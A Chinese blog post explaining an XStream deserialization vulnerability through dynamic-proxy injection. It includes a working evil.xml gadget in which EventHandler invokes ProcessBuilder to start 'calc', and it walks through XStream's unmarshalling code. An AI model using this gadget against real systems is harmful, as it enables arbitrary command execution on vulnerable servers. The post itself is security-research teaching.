【Web】浅聊XStream反序列化本源之恶意动态代理注入

目录

简介

原理

复现

具体分析之前

我们反序列化了个什么?

XStream反序列化的朴素通识

具体分析

第一步:unmarshal解组

第二步:readClassType获取动态代理类的Class对象

第三步:调用convertAnother对动态代理类进行实例化

第四步:调用动态代理类方法触发invoke


前文:【Java】萌新的XStream反序列化常用api学习笔记-CSDN博客

简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然

原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器。

该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法。

利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

复现

导入pom依赖

 <dependencies>
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.10</version>
        </dependency>
    </dependencies>

exp

package com.XStream;

import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class Interface {
    public static void main(String[] args) throws FileNotFoundException {
        FileInputStream fis = new FileInputStream("evil.xml");
        XStream xStream = new XStream();
        Runnable r = (Runnable) xStream.fromXML(fis);

        r.run();
    }
}

evil.xml

<dynamic-proxy>
    <interface>java.lang.Runnable</interface>
    <handler class='java.beans.EventHandler'>
        <target class='java.lang.ProcessBuilder'>
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

具体分析之前

我们反序列化了个什么?

okok,wait wait wait!我们先不聊XStream反序列化的流程,不妨从结果入手,先了解我们最后反序列化得到了什么?

关注回evil.xml

<dynamic-proxy>
    <interface>java.lang.Runnable</interface>
    <handler class='java.beans.EventHandler'>
        <target class='java.lang.ProcessBuilder'>
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

做一个简单解读:

这段 XML 配置信息表示了一个动态代理对象,该代理对象实现了 Runnable 接口,通过 EventHandler 处理程序代理 ProcessBuilder 类的实例,并在调用代理对象的方法时执行 ProcessBuilderstart 方法来启动计算器程序(calc)。这种配置可以用于动态地创建代理对象并执行特定的操作。

总而言之,不难看出这段xml经过反序列化得到的是一个动态代理类,其handler为EventHandler,handler的target为ProcessBuilder,action为start。

【Java】小白必须要懂的关于反射的极简基础知识-CSDN博客

这篇文章的最后有讲到,ProcessBuilder.start会进行命令执行操作,不难猜测,EventHandler可实现任意函数反射调用(调用target对象的action方法),我们的期望就是通过动态代理一个接口交由EventHandler处理最后进行命令执行。

而动态代理类所执行的所有方法都会交由invoke来处理,所以我们只要找到靶机上存在方法调用的接口,就可以实现“动态代理注入”,也正是因此,exp里需要手动调用反序列化对象的interface里面声明的方法。(但必须要知道目标会调用哪个接口其实也是一种缺陷,我们在下一篇文章会予以解决)

XStream反序列化的朴素通识

①XStream反序列化简化来说就三步
MarshallingStrategy.unmarshal解组->调用HierarchicalStreams.readClassType获取待反序列化类的Class对象->调用convertAnother对该类进行实例化

②XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

我们这里利用的DynamicProxyConverter就是转换器的一种

具体分析

第一步:unmarshal解组

先是从fromXML开始跟进一堆unmarshal来到context.start

 

 

第二步:readClassType获取动态代理类的Class对象

跟进context.start,发现先是调用HierarchicalStreams.readClassType获取type(即待反序列化类的信息)

 跟进readClassType,发现取到classAttribute(类属性)为dynamic-proxy,且mapper为CachingMapper,调用CachingMapper#realClass

跟进CachingMapper#realClass 

这里要注意,elementName始终为dynamic-proxy,而mapper.realClass的逻辑是自子类向上到父类查找的,最终会走到DynamicProxyMapper#realClass(见下面一串图)

 

 

 

 

 

最后来到 DynamicProxyMapper#realClass,跟进

注意到elementName和this.alias是相等的,所以最后type取到的返回值就是DynamicProxy.class

 

可以看到取到type为Class@1256

第三步:调用convertAnother对动态代理类进行实例化

紧接着上面,我们将取到的type(Class@1256)传进convertAnother来进行实例化

 

这里简单跟一跟就行

converterLookup.lookupConverterForType()的逻辑是,迭代this.converter,直到找到能转换出DynamicProxy.class的converter,最终取到关键converter——DynamicProxyConverter,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象

 接着调用DynamicProxyConverter#unmarshal

这里直接放源码吧

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        List interfaces = new ArrayList();
        InvocationHandler handler = null;

        Class handlerType;
        for(handlerType = null; reader.hasMoreChildren(); reader.moveUp()) {
            reader.moveDown();
            String elementName = reader.getNodeName();
            if (elementName.equals("interface")) {
                interfaces.add(this.mapper.realClass(reader.getValue()));
            } else if (elementName.equals("handler")) {
                String attributeName = this.mapper.aliasForSystemAttribute("class");
                if (attributeName != null) {
                    handlerType = this.mapper.realClass(reader.getAttribute(attributeName));
                    break;
                }
            }
        }

        if (handlerType == null) {
            throw new ConversionException("No InvocationHandler specified for dynamic proxy");
        } else {
            Class[] interfacesAsArray = new Class[interfaces.size()];
            interfaces.toArray(interfacesAsArray);
            Object proxy = null;
            if (HANDLER != null) {
                proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, DUMMY);
            }

            handler = (InvocationHandler)context.convertAnother(proxy, handlerType);
            reader.moveUp();
            if (HANDLER != null) {
                Fields.write(HANDLER, proxy, handler);
            } else {
                proxy = Proxy.newProxyInstance(this.classLoaderReference.getReference(), interfacesAsArray, handler);
            }

            return proxy;
        }
    }

进行一波解读:

  1. 在方法内部,首先创建了一个空的接口列表 interfaces 和一个空的 InvocationHandler 变量 handler

  2. 接着进入一个循环,通过遍历 XML 的结构来读取数据。在循环中,首先判断是否还有子元素,然后移动到子元素,获取节点名称并根据节点名称进行不同的处理。

  3. 如果节点名称是 "interface",则将其对应的接口添加到接口列表中。

  4. 如果节点名称是 "handler",则尝试获取属性名为 "class" 的属性值作为处理程序的类型,并将其赋给 handlerType 变量,然后跳出循环。

  5. 将接口列表转换为数组,并使用 Proxy.newProxyInstance 方法创建代理对象 proxy,同时获取并实例化相应的 InvocationHandler

  6. 进行最终的代理对象的赋值,并返回代理对象。

总之就是对interface属性走了一遍第二步(获取Class对象),对handler属性走了一遍第二步和第三步(获取Class对象&实例化),最后实例化了一个动态代理类(关于handler中其他属性的还原道理是一样的,不再赘述)

得到的动态代理类如下:

第四步:调用动态代理类方法触发invoke

得到实例化类r之后,我们调用其接口(java.lang.Runnable)的已知方法run

如图

 成功触发EventHandler#invoke

跟进invokeInternal

 Method targetMethod = Statement.getMethod(
                             target.getClass(), action, argTypes);

取到targetMethod为handler的action属性,即start

target为ProcessBuilder,最终实现了对ProcessBuilder#start的调用,执行任意命令 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/454552.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux系统目录结构详细介绍

目录 一、根目录&#xff08;/&#xff09; 二、/bin 三、/boot 四、/dev 1.设备文件类型&#xff1a; 2.常见设备文件&#xff1a; 五、/etc 六、/home 七、/root 八、/run 九、/sbin 十、 /tmp 十一、/usr 十二、/var Linux系统目录结构是一种层次化的文件系…

【漏洞复现】广州图创 图书馆集群管理系统 WebBookNew SQL注入漏洞

0x01 产品简介 广州图创计算机软件开发有限公司是集产品研发、应用集成、客户服务为一体的高新技术企业&#xff0c;主要目标是为图书馆行业用户提供高质量的应用软件系统设计、集成和维护服务。 0x02 漏洞概述 由于广州图创 图书馆集群管理系统 WebBookNew 接口处未对用户输…

Oracle PL/SQL Programming 第9章:Numbers 读书笔记

总的目录和进度&#xff0c;请参见开始读 Oracle PL/SQL Programming 第6版 本章谈3点&#xff1a; 可使用的数字数据类型如何在数字和文本间转换PL/SQL 内置数值函数 Numeric Datatypes NUMBER&#xff1a;平台无关的实现&#xff0c;适合处理货币金额PLS_INTEGER 和 BINA…

OPENCV(0-1之0.1)

OPENCV-0.1 学习安排计算机视觉简介是什么&#xff1f;应用领域基础概念 OpenCV简介历史背景和主要贡献者支持的语言和平台主要模块和功能 安装(windows_python)pip安装验证安装&#xff08;记得安装jupyter&#xff09; 第一个OpenCV程序实践练习 官方文档 学习安排 计算机视…

【LeetCode】升级打怪之路 Day 21:二叉树的最近公共祖先(LCA)问题

今日题目&#xff1a; 236. 二叉树的最近公共祖先1644. 二叉树的最近公共祖先 II235. 二叉搜索树的最近公共祖先 目录 LCA 问题LC 236. 二叉树的最近公共祖先 【classic】LC 1644. 二叉树的最近公共祖先 II 【稍有难度】LC 235. 二叉搜索树的最近公共祖先 ⭐⭐⭐ 今天做了几道有…

一文弄清池化层(pooling)的作用

池化层的本质是一个下采样,数据经过卷积之后,维度会越来越高,在特征图没有较大改变的情况下,参数量却上涨的很快,造成模型的训练困难和过拟合现象,所以将池化层置于连续的卷积层之间,以压缩数据量和参数以减少过度拟合,对卷积层输出的特征图进行特征选择。池化层的具体操作是将…

考虑功率均分与电压频率的事件触发分布式二次控制MATLAB模型

微❤关注“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 模型简介 此模型是在《基于事件触发机制的孤岛微电网二次电压与频率协同控制MATLAB仿真模型》上进一步创作的&#xff0c;之前的模型只考虑了二次电压与频率控制&#xff0c;并没有考虑均分这一项点。 因此…

【考研数学】打基础用张宇《30讲》还是武忠祥《基础篇》?

基础课不太可能所有的东西全都覆盖&#xff0c;还是先搭起一个知识框架&#xff0c;然后不断的填充和完善。 所以不必太过于在意少一些东西&#xff0c;我们不可能一口吃成胖子&#xff0c;基础知识肯定不会遗漏的&#xff0c;只可能一些技巧不到位。 从自己的情况考虑&#…

前端Vue列表组件 list组件:实现高效数据展示与交互

前端Vue列表组件 list组件&#xff1a;实现高效数据展示与交互 摘要&#xff1a;在前端开发中&#xff0c;列表组件是展示数据的重要手段。本文将介绍如何使用Vue.js构建一个高效、可复用的列表组件&#xff0c;并探讨其在实际项目中的应用。 效果图如下&#xff1a; 一、引言…

DETR Doesn’t Need Multi-Scale or Locality Design

论文名称&#xff1a;PlainDetr 发表时间&#xff1a;ICCV2023 开源代码 作者及组织&#xff1a; Yutong Lin,Yuhui Yuan等&#xff0c;来自西安交大&#xff0c;微软亚洲研究院。 前言 自Detr以来&#xff0c;后续paper的改进的方向&#xff1a;主要是将归纳偏置重新又引入进…

如何在群晖用Docker本地搭建Vocechat聊天服务并无公网ip远程交流协作

文章目录 1. 拉取Vocechat2. 运行Vocechat3. 本地局域网访问4. 群晖安装Cpolar5. 配置公网地址6. 公网访问小结 7. 固定公网地址 如何拥有自己的一个聊天软件服务? 本例介绍一个自己本地即可搭建的聊天工具,不仅轻量,占用小,且功能也停强大,它就是Vocechat. Vocechat是一套支持…

前端之用html做一个用户登陆界面

用户登陆界面 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>用户注册页面</title></head> <body><form action"https://www.baidu.com" method"post">…

C语言函数—关于静态库

具体的函数声明和定义请参考上一篇文章 如果我们成为了库的开发者&#xff0c;要卖给别人C语言库&#xff0c;该怎么办呢&#xff1f; A不会写减法&#xff0c;想找你买一个函数 但是&#xff0c;他给的太少了&#xff0c;你不想把源码卖给他 那怎么办呢&#xff1f; 首先&…

如何使用vue定义组件之——父组件调用子组件数据

首先&#xff0c;准备父子容器&#xff1a; <div class"container"><my-father></my-father><my-father></my-father><my-father></my-father><!-- 此处无法调用子组件&#xff0c;子组件必须依赖于父组件进行展示 --&…

windows的vmdk文件转qcow2运行蓝屏

背景 使用qemu-img将做好的vmware虚拟机转为qcow2到gns3中运行&#xff0c;Linux、Win7、Win10都没出现蓝屏&#xff0c;但Win XP却在开机时蓝屏了&#xff0c;错误代码&#xff1a;0x0000007B 解决方案 最终在proxmox上找到方案&#xff1a;https://pve.proxmox.com/wiki/Ad…

什么是架构?架构设计原则是哪些?什么是设计模式?设计模式有哪些?

什么是架构?架构设计原则是哪些?什么是设计模式?设计模式有哪些? 架构的本质 架构本身是一种抽象的、来自建筑学的体系结构,其在企业及IT系统中被广泛应用。 架构的本质是对事物复杂性的管理,是对一个企业、一个公司、一个系统复杂的内部关系进行结构化、体系化的抽象,…

【42 Pandas+Pyecharts | 某瓣电影Top250数据分析可视化】

文章目录 &#x1f3f3;️‍&#x1f308; 1. 导入模块&#x1f3f3;️‍&#x1f308; 2. Pandas数据处理2.1 读取数据2.2 查看数据信息2.3 查看数据描述信息2.4 将中国地区语言修改为中文 &#x1f3f3;️‍&#x1f308; 3. Pyecharts数据可视化3.1 各年份上映电影数量3.2 电…

【数据库-黑马笔记】基础-SQL

本文参考b站黑马数据库视频,总结详细全面的笔记 ,可结合视频观看1~26集 MYSQL 的基础知识框架如下 目录 一、MYSQL概述 1、数据库相关概念 2、MYSQL的安装及启动 二、SQL 1、DDL【Data Defination】 2、DML【Data Manipulation】 ①、插入 ②、更新和删除 3、 DQL【Data…

基于Java+SpringBoot+vue+element实现婚纱摄影网系统

基于JavaSpringBootvueelement实现婚纱摄影网系统 &#x1f345; 作者主页 央顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; 文章目录 基于JavaSpringBootvueelement实现婚纱摄影网系统前言介…

深度学习进阶:揭秘强化学习原理,实战应用全解析!

作为机器学习领域的一大分支&#xff0c;强化学习以其独特的学习方式吸引了众多研究者和实践者的目光。强化学习&#xff0c;顾名思义&#xff0c;是通过不断地强化与环境的交互来优化决策策略。在这个过程中&#xff0c;智能体通过试错&#xff0c;根据环境给出的奖励信号来调…